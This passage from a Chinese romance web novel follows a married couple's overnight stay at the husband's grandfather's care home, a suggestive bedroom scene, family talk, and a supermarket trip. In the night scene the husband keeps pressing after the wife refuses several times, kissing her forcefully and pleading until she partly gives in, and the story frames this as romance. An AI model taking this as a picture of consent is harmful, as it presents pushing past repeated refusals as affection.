祁占山就在院子里看夕阳,金黄色的落日将他的白发染成一片金闪闪,管家示意他回头。 他一回头就看见祁南骁牵着林晚,两人身后还跟着一条边牧,俨然一家三口的样子,祁占山难得露出笑容。 林晚走过去打招呼:“爷爷。” 祁占山满脸笑意,视线落在她手上时笑容顿了顿:“手怎么了?” 林晚不敢说是被人报复给伤的,她笑道:“不小心伤着了,不是什么大事。” 祁占山年纪大了,也没想那么多:“这条狗是你们养的?” 林晚摸着豆包的脑袋介绍道:“它叫豆包。豆包,这是爷爷。” 豆包朝着祁占山使劲摇尾巴,还把自己的爪子伸出来跟祁占山握手。 祁占山笑着握手:“真是个机灵鬼。” 豆包瞧见大家都喜欢它,屁颠颠跑到祁南骁身边把他手上提着的东西给叼了过来,放在祁占山的轮椅旁。 祁占山诧异:“它这是?” 林晚笑着解释道:“它这是给您送礼来了。” 祁占山摸着豆包的脑袋,大笑:“乖孩子。” 林晚趁机拿出下午做的点心:“爷爷,我听说您最近胃口不太好。就给您做了点枣泥糕。” 管家帮忙把枣泥糕切好用叉子叉好递给祁占山。 祁占山咬了口。 枣泥糕软糯可口,林晚特意放的木糖醇健康并不甜腻,很适合老人吃。 祁南骁问:“好吃吗?” 祁占山点点头,他拿叉子又叉了一块,用行动证明林晚的手艺很好。 见豆包眼馋,祁占山还给豆包喂了一块。 看得出来,老爷子很喜欢豆包。 夕阳西下,落日熔金,暮色很美,也预示着黄昏降临。 一老一犬尽染在一片余晖中,映在地上却是一片寂寥。面对夕阳,祁占山的脸上泛着淡淡的笑意,皱纹里漾满着平静和随和。 夕阳透过他那浑浊模糊的眸色,亮起生命的辉煌 晚饭时分,祁梦也从市区赶了过来,见到林晚时还有些意外。 “太爷爷。” 祁占山前一秒还跟林晚说话,闻声,拿着茶杯转脸去找人,看清是祁梦后更是喜上眉梢:“梦梦来了,快来太爷爷这。” 祁梦今年不过13岁,隔段时间没见,她又换了个发色,原本的浅紫色换成了咖色,看起来比之前乖巧了。 “太爷爷,我新换的发色好看吗?” 祁占山摸着祁梦的头,满眼的欣赏:“好看,我们梦梦真好看。” 祁南骁给林晚舀了半碗汤:“先喝汤。” 林晚在桌下掐他大腿,示意他也照顾下老人孩子。 祁梦接过佣人盛好的汤问:“四叔,你什么时候来的?” 祁南骁抬眸道:“叫四婶。” 祁梦惊愕的看着林晚,又看看完全变了个样的祁南骁,有些不可置信。她四叔什么时候变得这么温柔了? 祁占山笑着道:“梦梦,以后见到你四婶要主动叫人。” 祁梦点头,看向林晚道:“四婶。” 林晚笑着应声。小孩是最会审时度势的,知道林晚的身份是家里两大主心骨认定后,她对林晚心里也多了几分尊重。 这顿饭吃得很轻松,祁占山心情好多吃喝了半碗鸡汤,给祁梦夹了块牛肉问道:“你爸最近在做什么,怎么三天两头看不见人影?” 祁梦撇嘴:“忙着造小孩呗。太爷爷,您很快又要有重孙子了。” 祁占山沉着脸:“胡说,那些个心思不正的都不配入我们祁家的门。” 祁梦眼珠子咕噜转:“太爷爷,那些个重孙您也不要?” 祁占山道:“梦梦,你要记住家有家风,不是明媒正娶入我们祁家大门的,都不算我们祁家的人,哪怕他们留着祁家的血,他们也不能姓祁。” 祁梦垂眸,从小就没了妈的孩子比谁都敏感:“我知道了,太爷爷。” 祁占山摸了摸她的头:“有我跟你四叔在,没人能欺负得了你。以后太爷爷走了,你四叔也会牢记祁家的家规,那些个私生子不会威胁到你。” 祁梦有些难过:“太爷爷一定会长命百岁的。” 祁占山慈爱的看着祁梦:“傻孩子,人老了总归要走的。” 祁梦忽然鼻子有些酸:“您说什么呢,我四叔连孩子都没生,您就说走,您走了就没人能管我四叔了。” 林晚先是一愣,抬眸看见祁占山和祁梦都盯着祁南骁看,莫名觉得好笑。 祁占山敲敲筷子:“你四叔以后有你四婶收拾,不用我收拾。” 丝毫没有提生孩子的事,林晚心底微微松了口气。 按说祁家这样的大家族肯定希望主母进门后相夫教子,当好富太太。 但祁占山从始至终都很支持她有自己的事业,也不会催她生孩子,祁南骁也很尊重她,人心是肉长的,祁家这么对她,她心里说不感动是假的。 祁南骁心里却想:这结婚到现在,真枪实弹都没上过,去哪生孩子? 饭后,祁南骁本来是打算连夜离开的,祁占山开口挽留。 林晚看见老爷子跟豆包玩得那么开心,也不舍得在他兴头上扫他兴,便劝祁南骁留下。 管家接到吩咐立马去准备卧室,得知林晚和祁南骁还是分房睡时,他偷偷去告诉祁占山。 祁占山听完也只是垂着眸不说话,待到祁南骁进了书房后少不得一阵奚落他。 “没用的东西,媳妇给你娶进门了还不能得到她的认可。” 祁南骁勾起唇角:“我这不是跟您学的嘛,您当初追我奶的时候,也没比我轻松多少。” 祁占山转头看着像极了自己的孙子,眼底含着笑:“你这猴子,总算遇到能拿捏你的人了。这男人追媳妇就不能要脸面” —— 林晚回到卧室,佣人已经将她的衣服准备好,睡衣放床尾,剩下的衣服也都放衣柜里。这些都是他们刚刚吃饭时,管家安排人去买的。 这些衣服没有任何logo,看不出是什么牌子,但光是面料就知道这些衣服不便宜。 拿起睡裙,林晚进了浴室洗澡,这间卧室显然是管家特意安排的,房间朝南,面向后花园,浴室里还带着一个圆形浴缸,坐在这个可以欣赏外面的风景。 林晚洗了足足半个小时才出来,正准备躺回床上就听到门口有人敲门,她披了件外套去开门。 看见来人,林晚瞪大眼睛:“你怎么在这?” 祁南骁全身上下只围了件浴巾,上半身□□,清晰的胸肌轮廓,码得整整齐齐的腹肌,还有浴巾半圈着的鲨鱼肌线条。他显然刚洗完澡,头上和身上都带着湿润和沐浴露的香。 祁南骁扶着门框,抬眸微微蹙眉的道:“你的狗把我床给弄湿了。” 林晚回过神道:“豆包怎么会在你房间?” 祁南骁拉着林晚往房间去,林晚从一开始的警惕还有僵硬,待到看到祁南骁的床垫上洒了一大团水渍后,她沉默了。 此时的豆包正兴奋的在床上咬玩具,见到林晚来还跑她身边邀请她一起。 林晚抓了抓豆包的脑袋:“逆子,你看看你干的好事。” 豆包汪汪两声又跑回床上。 林晚深吸一口气,侧头看着祁南骁:“我帮你换床单吧。” 祁南骁抱臂站在一旁:“床垫都是湿的,换了也没用。” 林晚咬唇:“那要不你让人再收拾一间房出来?” 祁南骁道:“没房间了。” “怎么可能?” 祁南骁掀起眼皮,一脸无语:“你让我去睡佣人房?” 林晚:“那你想睡哪里?” “你房间。” 林晚盯着他:“不行。” 祁南骁看着她眼中的警惕,心底不由暗自发笑,面上却一副很是为难:“总不能让我出去睡酒店吧,要是老爷子知道我宁愿出去睡酒店也不能跟你睡一个房间,他估计得一晚上都睡不好。” 林晚愣住了:“这跟爷爷有什么关系?” 祁南骁道:“爷爷今天看见我牵你手高兴得晚上多吃了半碗饭。他一直希望我们俩好好过日子,要是知道我大半夜不睡觉出去住酒店他会怎么想,说不定怀疑我们是故意在他面前装恩爱骗他的。” 林晚心里纠结,今晚祁爷爷的兴奋不是假的,他一直都很喜欢她,喜欢得把自己亲孙子都献祭出来救她跟林国冬了。 比起祁爷爷做的那些,她为祁爷爷做的还是太少了。她跟祁南骁本就是夫妻,现在又双向奔赴,扭捏这些也没必要。 思及此,林晚抬眸看着祁南骁道:“你去换身衣服,再把你被子抱过来。” 祁南骁瞬间心猿意马,林晚横他一眼:“不准穿短裤。” 说完她直接带着豆包走了。 祁南骁二话不说,直接迅速翻了套睡衣换上,临走时他看着床头柜上的空杯子,唇角忍不住上扬。明天给背锅侠豆包一个大大的奖励。 林晚安顿好豆包,回房时祁南骁已经坐在床上了,原本只有一个枕头的床也被摆上两个枕头,祁南骁坐在属于他的那边玩手机,见到她进来似笑非笑:“床我铺好了,睡觉吧。” 林晚抿着唇,背对他一直在抹她那边的床单褶皱。 祁南骁轻轻制住她手臂,调笑道:“可以了,被子都要被你捋秃了。你要是不适应,我睡地上也行。” 林晚转过身,皱眉,叹气道:“不至于,我既然让你进来了就不会计较那么多,睡吧。” 祁南骁垂眸勾起唇角。 林晚坐到床上就看见他正捻着衣服,她惊呼:“不准裸睡。” 祁南骁抬眸,声音低沉婉转:“知道了,祖宗。” 第50章  “老婆,帮帮我”…… 林晚以为祁南骁一定会趁机整点幺蛾子, 结果他就这么安安静静躺到床上,乖乖把被子盖好。 林晚行动上自然又真实就是神色仍然有点忐忑。 但真看到祁南骁老老实实躺着时,好像也没想象中那么紧张 坐上床, 林晚准备盖被子,指尖不小心碰到祁南骁的被子, 冰冰凉的,她蹙着眉,又用手背试了下温度, 居然有水, 还是冰的。 林晚抓过祁南骁的被子, 祁南骁睁开眼被子裹到下巴处, 眨了眨眼:“你干什么?” 林晚沿着被子边沿一路摸上去:“你被子怎么都是水?” 祁南骁低声道:“哦,被豆包给弄湿了。” 林晚着急:“湿被子不能盖人。” 祁南骁欲言又止, 林晚反而心存疑惑:“你怎么不早说?” 祁南骁唇角略微下沉,轻声道:“你让我带着的。” 林晚眉心一蹙,她怎么就不信他有这么听话。 “你让佣人给你准备新被子。” 祁南骁抿唇,眼眸微眯:“我有洁癖。” 林晚面无表情看着他:“你让豆包上你床的时候怎么不说洁癖?” 祁南骁眨了眨眼:“我对自己人不洁癖。” 林晚直勾勾的看着祁南骁, 一眨不眨的,很是无语。感情他的洁癖还挑人。 祁南骁半靠在床头, 被子裹到下巴处,只露出一张硬朗俊逸的脸,只不过这张脸此时一副可怜兮兮的模样, 好似她欺负他似的。 理智上,林晚知道他是故意的, 可感性上又忍不住心软,真要他盖一晚上湿被子,估计他明天又得感冒发烧。 就在林晚纠结之时, 祁南骁已经起身打包被子叹气道:“我还是睡地板吧,别让被子弄湿你的床垫。” 眼看着他已经把被子放地上了,林晚抓了把头发:“烦死了。” 她把祁南骁被子一扔,把自己被子一扬,然后自己先躺下:“盖我的。” 祁南骁笑了,看着已经躺下背对着自己的人,他的嘴角控制不住勾起。 勾起被子祁南骁朝着林晚挪了半个身位才躺下。 两人都侧躺着,只不过林晚是背对着祁南骁。 沐浴露的味道被热气蒸腾,分化出另一种香,时刻撩拨着祁南骁的五官六感,他忍不住探手摸着林晚的发丝,她的头发很黑很浓密,是典型的黑长直,躺着的时候被积压在枕间,像一匹散落的绸布,很漂亮。 祁南骁心跳越来越快,他进来时特意把空调调得很低,结果还是有些热,他还没穿着衣服睡觉过,眼下是又热又燥,翻个身衣服摩擦着都能着火的地步。 “你睡了吗?” 林晚闭着眼睛装死:“我很困,你要干嘛?” 祁南骁道:“你这样躺着冷气全跑进被子里了。” 林晚翻过身躺平,侧头没好眼神儿的瞪他。 祁南骁把胳膊缩进被子里,满眼无辜:“我怕你冷。” 林晚凶他:“我不冷,你老实睡觉。” 床头灯昏暗,匀匀洒在林晚身上,像花的蓓蕾在盛开。她是鲜活的,不再是他梦里的虚无。 祁南骁看着她的神色晦暗不明,声音微沉:“我睡不着,想你陪我聊聊天。” 林晚下意识道:“聊什么?” 祁南骁打量着她脸上的表情:“你会不会觉得我很烦人?” 林晚侧头看向他,他眼眸温沉笃定,透着脉脉温情试探。想到自己刚刚的反应的确有点大,林晚心底不禁软了下来:“我没有。” 祁南骁笑了:“那就好。” 林晚抬眸看着他:“你会不会觉得我很凶?” 祁南骁挑眉:“就喜欢你凶。” 林晚没笑,眉眼耷拉着:“那我以后不凶你了。” 祁南骁有些意外:“真的假的?” 林晚点头:“我争取对你温柔一点。” 祁南骁眼底含着笑,伸手直接把她揽进怀里。 突如其来的靠近,让林晚下意识挣扎:“干嘛?” 祁南骁一手揽着她的肩膀,一手搂着她的腰,义正言辞道:“我就抱抱,不做什么。” 林晚贴着他的胸膛,他胸膛还挺暖的,还很硬,男女的体质差异在此刻具象化了。她明明只是贴着他的胸膛,却莫名的觉得碰到了什么硬硬的东西,她想挪一挪,可祁南骁偏不让。 林晚被他的体温烘着,腰身从一开始的僵硬逐渐到适应。 祁南骁说聊天,林晚一开始还不信,结果他还真就只是聊天。为了和她说话,甚至还聊起方茗泽跟那个女明星的八卦事。 人类的本性就是喜欢八卦,林晚听得津津有味,四肢懒散得不大愿意动。 她以前怎么就没发现祁南骁这么多话,还这么八卦的?索性她也并不反感和他亲密,就这么任由他抱着。 林晚就这么缩在他的怀里玩手机,睡前她习惯点红薯APP刷一下,她点开消息页面,正好上面有好多点赞、评论的消息。 谁知点开评论区的那一刻,她腰上的手忽然一紧。 “你在看什么?” 祁南骁的声音忽然从头顶响起,又冤又怨。 林晚吓得手机差点砸鼻子上,被他一把拦住,反应过来的林晚想要去抢,祁南骁一手制住她,一手高高举起手机。 皱着眉看完屏幕上的消息,脸色黑的能滴下墨。 标题:【男人30铁律不行。】 【亲测,我老公今年29,已经肉眼可见的不行了,姐妹们有什么偏方可以治吗?】 【老公30了,一周一次正常吗?】 【男朋友快30了,很快起来又很快下去正常吗?】 【不正常,姐妹快跑。】 【劝分。】 【建议找弟弟,男大花点钱就能谈到。还是刚上大学的好,朝气满满。身体嘎嘎好,横冲直撞半小时都不带歇的。】 【图片jpg】 配图是一张青春男大的照片,穿着白色polo衫,搭配灰色运动裤,腰侧还抱着个篮球,干干净净的短发,阳光四溢的面孔。 底下评论区全是【看裤子就知道姐妹没说谎。】 【好大】 【姐妹吃得真好,羡慕。】 林晚也给这条评论回了个点赞的表情包,下面还有很多人跟队回复。 祁南骁把手机屏幕滑到这。 然后许久不吭声 不会是生气了吧? 林晚能感受到祁南骁的胸膛剧烈的起伏着,她下意识地伸出食指,小心翼翼地戳了戳他绷紧的胸膛:“你别太用力,我手机屏幕快碎了。” 祁南骁蓦地冷声:“你只是手机快碎了,而我的心已经碎了。” 他这狠话说的跟土味情话似的,林晚很不时宜的笑出声。 祁南骁丢掉手机,忽然一个翻身扣住林晚的手,把她压在床上:“你觉得我不行?” 林晚张了张嘴,尝试解释:“不是。” 祁南骁咬牙切齿:“羡慕人家大学生?” “我没有。” “你也想要小奶狗?”祁南骁气得心肝都疼,从头到脚都是被气堵着。 他一忍再忍,体贴她,舍不得碰她,怕吓到她,连让她帮他,他都舍不得。 结果,人家在羡慕青春男大体力好? 他气得现在就想撕开她的衣服,让她好好体验一下,他到底行不行。 林晚垂眸,根本不敢对上他灼热的视线:“没没有,唔唔” 祁南骁压根不想听她解释,捏着她的下巴俯身吻了下去。林晚一边推一边闪,他不让,强硬到近乎凶狠,林晚根本就反抗不了他,唇瓣被撬开,他长驱直入。 男人的唇像从烙印,落在耳侧、颈间、锁骨处,搅得林晚微微张唇喘息。 林晚不是那种瘦而无骨的身材,相反她身材很好,该有的形状几近完美。似是不满她的失言,祁南骁极力想证明自己,亦或是所有欲/念堆积到极点,他只想好好的宣泄。 衣服被撩开时,林晚真的怕了,她制止住在她腰上做乱的手:“不行。” 祁南骁抬眸看着林晚,眼里却是灌着欲望之海,就连声音也哑得不可思议,像是忍到了极致,他说:“老婆,我爱你。” 他说完低头趴在她胸前,一直吻着林晚的锁骨。他身上有着强烈的侵略气息。 林晚还来不及说话,毛茸脑袋游离而下,骨头发酥,忍不住抓住乱动的脑袋:“不行,爷爷在楼下” 祁南骁抬起头,直勾勾的盯着林晚,林晚被他盯到浑身不自在,她咬着唇,欲哭无泪:“不能在这里。” “老婆” 祁南骁只说了两个字就趴在她锁骨上啃咬,一路游离向下。 林晚咬着唇,身上穿着宽松的睡衣,祁南骁一手搭在她腰间,隔着衣服都能掐到她腰肢的纤细,掌心跃跃欲试 林晚脸色泛红,衣服早已乱作一团,某一瞬间,她甚至听到自己喉咙间溢出来的轻哼声,像只慵懒的猫。 难以忍耐下林晚眼睛睁开,按住乱动的脑袋,却又不自觉地把他当成椅仗。 “南骁别。” 祁南骁抬起头,两人四目相对,灯光闪烁在他唇上,晶莹剔透。 他瞳孔幽深,卷着痴恋欲/海,眼眸是纯粹的黑,黑得好像宇宙尽头的深渊,多看一会儿便有一种快要被卷进去的错觉,他的鼻梁挺直,刮着她皮肤时是那样的硬/挺,刻骨。唇瓣又是温润细腻如玉石般,可是又比玉石温暖至极。 林晚差点陷进他的温柔陷阱里,慌张的别开视线。 祁南骁似乎勾了下唇角,起身来到她眼前,包裹住她的手,一点一点捋开她的手指,低声:“老婆。” 林晚不看他,不轻不重的‘嗯’了一声。 祁南骁磨着她的耳垂道:“我爱你。” 林晚看着天花板上倒映的灯影:“我也是。” 话音落下,祁南骁眼底的仅存的理智也没了,他的目光变得很薄,薄到已经兜不住他心底的欲/望。他抬起林晚的下巴,迫切的想要吻她。 林晚张口回应,混乱中她伸手搂上他的脖子,感受到她的邀约,祁南骁吻得更凶了。 林晚只能偏着头躲开片刻。 祁南骁修长的指尖划到她腰间,目光如猎夹,一动不动地看着她,呼吸灼热,声音低沉:“可以吗?” 林晚还有些迷离,“嗯?” 祁南骁看着她眼中的茫然,眼底滋生出更加强烈的毁灭之欲,哑着嗓子道:“我想要你,可以吗?” 林晚回过神来,声音有些颤:“不能在这,会被听到的。” 会被听到翻译过来就是,没有听到就可以。 祁南骁瞬间心潮澎湃,手臂处的肌肉绷得更紧了,他直接把自己的衣服脱掉就要俯身,林晚拼死抵住他的胸膛:“不行,今晚真的不行。” 祁南骁脱裤子的手一顿,不可置信的看着林晚,都到这个份上了,她就告诉他这个? 他无法接受上一秒还在天堂,下一秒就坠入地狱的事实,当即撒娇:“老婆。” 林晚咬着唇,真的不行,祁梦就在隔壁房间里睡觉,楼下还有祁占山睡觉,她根本做不到在这种环境里跟他玩闹。 “不行。” 祁南骁抵着她的胸膛,软磨硬泡,卖惨:“我快要爆炸了,老婆。” “你救救我。” “再这样下去,我真的要上医院了。” “我好痛” “老婆” 林晚最受不了他撒娇,几度失了神志,然而在他偷偷解开她裤子腰带的时候,她一时情急,扭身带着他翻滚,将压在自己身下。 坐在他腿上,抵着他胸膛,在他目光灼热下,林晚赶忙出声:“明天,明天我们回家,我就答应你。” 祁南骁说话带着鼻音,可怜又理直气壮:“我连今晚都快活不下去了。” 说完,他就托着她的腰往前挪去。 林晚咬着唇后退:“今晚你先辛苦下,自己解决。” 祁南骁抱着她,声音带着撕破理智的蛊惑:“老婆,你帮帮我” “我快痛死了” 林晚道:“我的手受伤了。” 祁南骁垂眸,声音低沉:“还有腿。” 林晚咬唇,垂眸,默不作声,这是默认他的意思。 果不其然,他握着她的手腕时。 她也没有反抗:“把灯关了。” 黑暗中,一切感官都会被无限放大。 祁南骁觉得自己时而在天堂,时在地狱,眼里仅剩欲/望、奢求、迷离还有本能。 祁南骁轻轻地搂着她,声音暗哑,带着浓重的沉迷蛊惑,低声跟她说话 林晚的心态从一开始的紧张忐忑,到好奇,再到麻木。 是真的麻了 有些事情一旦开了头就无法得到彻底满足。祁南骁有好几次想要丢盔弃甲把她压在身下兴风作浪。 今晚他来说不是甜蜜,而是折磨。 天光乍现的那一刻,他抱着林晚狠狠的吻了下去。 当时他就知道,他这辈子注定是要落在林晚手里的。 林晚以为这只是睡前奖励,时间到了后祁南骁就能乖乖睡觉。谁知道他就是个喂不饱的狼。 一晚上,没完没了,关键是每一次都要耗费她很长一段时间。 甚至,连半夜,他也没放过她。 像只磨人的狗一样,把她咬醒:“老婆,帮帮我” 林晚那会已经被他吵醒了,但是只想装死。 祁南骁继续咬她,从头到脚,林晚忍无可忍睁开眼,眼底尽是被吵醒的怨气。 祁南骁吻着她的脖颈,低声道:“你答应好的。” 林晚已经数不清是第几次被他吵醒了,有那么一刻她怀疑自己不是在折磨他,而是他在折磨自己。 —— 林晚是后半夜才睡着的,再次睁眼时,就看到男人硬朗凸起的喉结。 想到昨晚的奢靡,林晚脸色逐渐泛红。 而且她的大腿隐隐发酸发软 黑夜尚且放纵天性,白天可得克己复礼。 林晚本来想悄悄起来的,结果祁南骁十分敏锐,她一动,他就醒,眼眸略显慵懒:“醒了。” 林晚‘嗯’了一声,不动声色打量着他的脸色。明明他是被折磨一晚上的人,凭什么他脸色还这么好? “你几点睡的?” 祁南骁的手在被子里搂着她,自觉寻找位置:“三点多吧。” “还痛吗?”他问。 林晚脸色发红,还没说话就听到他很流氓的笑出声:“晚上就能换个地方了。” 一语双关,要不是他此刻掐着她的腿,她以为他说的换个房间。 果断推开他,下床洗漱,祁南骁还想把她拉回去,被林晚一个眼神就制止了:“现在碰了,晚上就不许碰了。” 祁南骁半跪在床上,单手投降,满脸坏笑。 清晨的阳光正好,透进来的光正好洒在他脸上,他昨晚还是裸睡了。此刻下半身只有被子挡着,整个人沐浴在阳光下,明明那么美好的画面生生被他弄得很色/情。 林晚不敢多看他一眼,她就是被他这副样子一骗再骗,没了原则的,别开视线转头就走进浴室。 50-60 第51章 第 51 章(改标题) 都很爱她…… 林晚出来时, 祁南骁已经离开了,估计是回到他自己的房间洗漱了。看着已经铺设整齐的被子,林晚唇角微微上扬, 还算懂事,不至于裤子穿了不认人。 路过垃圾桶时, 不小心看到里面满满当当的纸巾,林晚耳根微红,全是昨晚荒唐后的残局。 昨晚关着灯时, 她还没那么害羞, 可白天的阳光亮堂堂洒满一室, 就让她无处藏身了。 其实跨出第一步后, 林晚心里并没有想象中的抵触。他们是夫妻,再亲密的举动也很正常。而且和祁南骁在一起身心都舒服, 昨晚他已经证明他的身体各方面都很好,甚至有点好过头了。 只要他不会乱搞,洁身自好,尊重她的意见, 这段婚姻也没什么可挑剔的。而且现在他们不仅是绑在一条船上的人,他们还是夫妻, 不出意外的话他们将共同度过往余生。 林晚换好衣服,直接出了房间。 楼下,祁南骁推着晒完太阳回来的祁占山, 他们身后还跟着豆包。 祁占山口袋里还装着狗粮,时不时的掏出来喂几颗给豆包馋嘴。 祁南骁坐在祁占山腿边, 虽然脸上没什么笑意,可语气却是难得的温和:“您要是喜欢宠物,回头我让人给您送一只宠物犬过来。” 祁占山摆手道:“别给我送来, 我没那个精气神去打理。” 祁南骁道:“家里有人会养,又不用您亲手养。” 祁占山不认同的道:“人跟人讲究缘分,人跟狗也是如此。不是我亲手养的,我对它也不会有感情。” “豆包也不是您亲手养的,您对它不也是也很好。” 祁占山笑道:“这是小晚养的,我爱屋及乌了。” 祁南骁微蹙眉说:“您要是觉得孤单,我让子宸他们回来陪您。” 祁占山摇头:“我没那个精气神应付他们。” 祁家家大业大,直系、旁支加起来也有上百人了。按理来说,祁占山这个年纪的人应该膝下承欢,儿孙满堂的。可他却早早将四个儿子分别安排出去,其中三个都被他送到国外分别管理各大地区的公司,唯一留下来的祁慕天还英年早逝,只剩下祁南骁这么一个儿子。 祁南骁知道,老爷子这么做是在避免兄弟阋墙相争,同时也是在保护他这个继承人。当时老爷子定下他这个继承人时,集团不少人反对,甚至家族内部也不是没有人起心思想弄残他,都被老爷子给压下去了。 他是老爷子亲手带大的,对老爷子的感情很深,看着曾经那个挥斥方遒的一代枭雄如今只能困在这方寸轮椅里,头发花白,脸上也布满了褶皱,日常做的最多的就是出神的望着阳光发呆。 祁南骁心底忽然有些难过,理性上他知道祁占山老了,可每每看到他佝偻的背影,呆滞的神情,祁南骁依然会心口发闷。老爷子陪着他长大,教他做人做事,他却无法阻止时间风化一个老人的生命。 握住祁占山满是老人斑的手,祁南骁道:“爷爷,要不我们搬回来跟您住吧。” 祁占山笑着拍拍他的手:“都多大的人了,还跟小时候一样黏人。” 祁南骁刚被接到祁占山身边时很乖巧,整天待在自己房间里也不出去,问什么答什么,让吃东西也不敢多吃。有一次,祁南骁半夜饿醒不敢出去找佣人要吃的,只是一个人蹲在阳台上,透过栏杆观察着楼下的人。 祁占山应酬回来第一眼就注意到楼上的小小人儿,他亲自上楼把祁南骁给领了下来,听到他肚子响便二话不说下厨给他做了碗面条让他吃。 祁南骁受宠若惊,却也不敢忤逆他的意思,乖乖把面条吃完。从那以后,祁占山总是会在西装口袋里放点巧克力,见到他就投喂给他。久而久之,祁南骁便依赖上这个唯一对他好的爷爷。 祁占山走到哪里,他就跟到哪里,后来祁占山总笑话祁南骁,一碗面条一点巧克力就能被人拐走了。 其实祁占山哪能不知道,祁南骁这人就是缺爱,谁对他好那么一点,他就跟谁,也幸好,这点弱点后面也被他给纠正回来了。这个孙子总算没养废。 想到以前的事,祁南骁唇角轻轻勾起笑道:“您还记得呢?” 祁占山摸了摸口袋掏出几块巧克力:“记得,你小时候的事我都记得。” 祁南骁道:“您居然在装狗粮的口袋里装巧克力给我吃?” 嘴上虽嫌弃,但手挺诚实的,祁南骁接过巧克力拆开扔进嘴里。 祁占山笑着道:“都长这么大了,还爱吃这些玩意” 祖孙俩面对面聊了很多过去的事儿,聊祁南骁是如何从一个乖巧安静的小男孩变成了京市豪门圈的恶霸。说着说着,祁占山忽然停顿,笑着道:“等你小子以后有小孩了,就知道有多头疼。” 祁南骁似笑非笑道:“您想要重孙了?” 祁占山直直的看着祁南骁的脸,张了张嘴,开口道:“小晚现在正是备战奥运的时候,你别犯浑,耽误她。” 祁南骁后知后觉,老爷子是在提醒他不要这个时候让林晚怀上孕。他心里不知该说什么,老爷子是真的疼林晚,只有真正的疼爱才会换位思考。 祁占山道:“昨天我跟上边的人见了一面,上边也表明了,秦家和窦家的事要是真的绝不姑息。你也要拿出切切实实的证据,不能让他为难。” 祁南骁垂眸,眼底划过一抹嘲讽:“呵,就会把我们当刀使唤。” 祁占山轻拍他的脑袋:“不要意气用事,这事不只是祁秦两家的斗争,还关乎着国冬和小晚,你的一家老小都卷在里面,你要好好计划。有什么难题就来找爷爷,爷爷别的什么没有,就这张脸还有几分薄面。” 祁南骁垂眸轻声道:“我知道了,爷爷。您要听医生的话,长命百岁等着您重孙出生的那天。” 祁占山道:“好,爷爷还能等几年。” 林晚一直站在楼梯口,祁南骁和祁占山的话她都听见了。尤其是祁占山嘱咐祁南骁不要现在生孩子的事。 林晚心底忽然有些酸涩,祁占山对她的好从来都没要求过回报。她却因为林国冬和他联手逼她跟祁南骁结婚的事,对他有过意见。 有时候她都觉得,是不是老天看她小时候过得不好,才补偿给她一个完整的家,现在又给她补偿第二个家。他们一个,两个的都挡在她面前,为她遮风挡雨 默默咽下所有的酸涩,林晚抬起头,她眼眸看起来比之方才更加熤熤如星,终有一天,她也会拿下荣耀和他们并肩作战。 —— 林晚和祁南骁是陪着祁占山吃完早餐后,才正式告别离开。 两人前后脚从疗养院出来的时候已经上午九点多了。 祁南骁开车,林晚跟于书雨打电话,商量着给江逸送什么生日礼物。 祁南骁听见她要给别的男人送礼物,掌心越过中控台捏了把林晚的大腿,激得林晚差点没忍住叫出声。 林晚一边捂住手机,一边侧头蹙眉看着祁南骁,无声说:“别捣乱。” 祁南骁似笑非笑强势拉着林晚的手,林晚不让,他死活不放手。 “喂,林晚,信号不好吗?” 林晚马上道:“啊,没有,我在。” 于书雨不疑有它:“要不咱们给他包个红包吧。” 林晚道:“行。那就给他送红包。” 挂了电话,祁南骁捏着林晚的手心,低声道:“你都没送过我礼物。” 本来是看着手机的林晚,闻言抬起头瞪向他,“你袖子上的袖扣谁送的?” 祁南骁笑道:“那是我们还没在一起前送的,在一起后你都没送过我。” 林晚道:“说的好像你有送过我礼物似的。” 祁南骁拉着她的手,低声道:“我错了,我补行吗?” 林晚挣开他的手:“晚了,迟来的忏悔比草贱。” 祁南骁笑着道:“这句话不是用在这的。” “我想用哪儿就用哪。” 祁南骁已经把车给停好,看着气鼓鼓的林晚,他果断解开安全带倾身靠了过去,在林晚没反应过来时,吻在她唇上,强势撬开她的嘴,吻得很深。 林晚扣紧安全带,却也没有把他推开。 直到林晚觉得自己快要缺氧晕厥了,祁南骁才肯放过她,林晚抓着他的衣服,像被抛掷上岸的鱼,急促的呼吸着。 祁南骁鼻尖触碰着她,他勾起唇角:“道歉礼。” 林晚推开他,擦了擦嘴边:“谁要你的吻道歉。” 祁南骁轻笑出声,林晚愤愤推门下车。 下了车后,她才注意到车子不是停在家门口,而是停在超市门口。 林晚看着已经走到自己身边的男人,问道:“怎么想逛超市了?” 祁南骁拉着她的手往里头:“买T。” 林晚:“” 豆包被托管在专门的宠物托管中心。 林晚还没逛过柳山别墅的富人超市,像刘姥姥观园似的到处看。 结果就看到:一千块钱三串葡萄、299一斤的柠檬、4千块钱一片的牛排,600多一斤的车厘子,600多一个的大闸蟹 “” 林晚终于知道自己平时在祁南骁家里吃的水果为什么都这么漂亮还这么甜了,感情每一口汁水都不便宜。 “怎么了?”祁南骁推着购物车跟在林晚身后。 林晚面无表情道:“我现在才知道我之前在你家吃的都是金子。” 祁南骁见她盯着车厘子看,顺手拿了五盒放推车里:“是我们家。” 林晚无语的看着他:“水果不要一次性买太多,容易坏。” 祁南骁没逛过超市,家里的东西压根不需要他出来买,管家会安排送上门。不过,看着别人家情侣夫妻手挽着手逛超市,商量着晚饭吃什么,他就想跟着林晚也这样腻歪。 “挽着我的手。” 林晚疑惑的看着他:“干什么?” 祁南骁伸出手臂道:“你看别人的妻子都黏着自己的老公。” 林晚顺着他的视线看过去,他们正前方刚好有一对年轻夫妻正腻歪着一起购物。 林晚笑道:“那你怎么一开始不去找能黏着你的女朋友。” 祁南骁黑着脸挽着林晚的手臂:“你不黏我,那我黏着你也行。” 林晚被迫跟他手挽手逛起超市,两人一人一边挑东西,林晚习惯仔细研究过东西用途和配料表再放车里,而祁南骁则是看到什么顺眼就往车里放。 以至于,两人选好东西排队买单时,林晚看着收银员不断刷着她从未放进去的东西时,一头雾水。 毛巾、拖鞋、杯子、筷子、绵鞋全都是成双成对的情侣款。 林晚回头准备去找祁南骁算账,就看到他正一脸严肃的看着那一架子五颜六色的盒子,那模样比看股票K线图还认真。 她走过去正要开口质问他怎么买那么多乱七八糟的东西,就被祁南骁揽住腰,他低头在她耳边轻声问:“这款怎么样?超薄冰感螺纹的” 林晚面无表情:“你问我我上哪儿有经验告诉你?” 祁南骁若有所思,正当林晚以为他会继续挑选时,就看见他把各种品牌、各种款式的同一个size全放进购物车里,全是最大号的 祁南骁一边往车上扔,一边道:“实践出真知,我们可以慢慢试。” 林晚听到他这句不要脸的话,脸色瞬间涨红,是气的:“你买那么多干什么?” 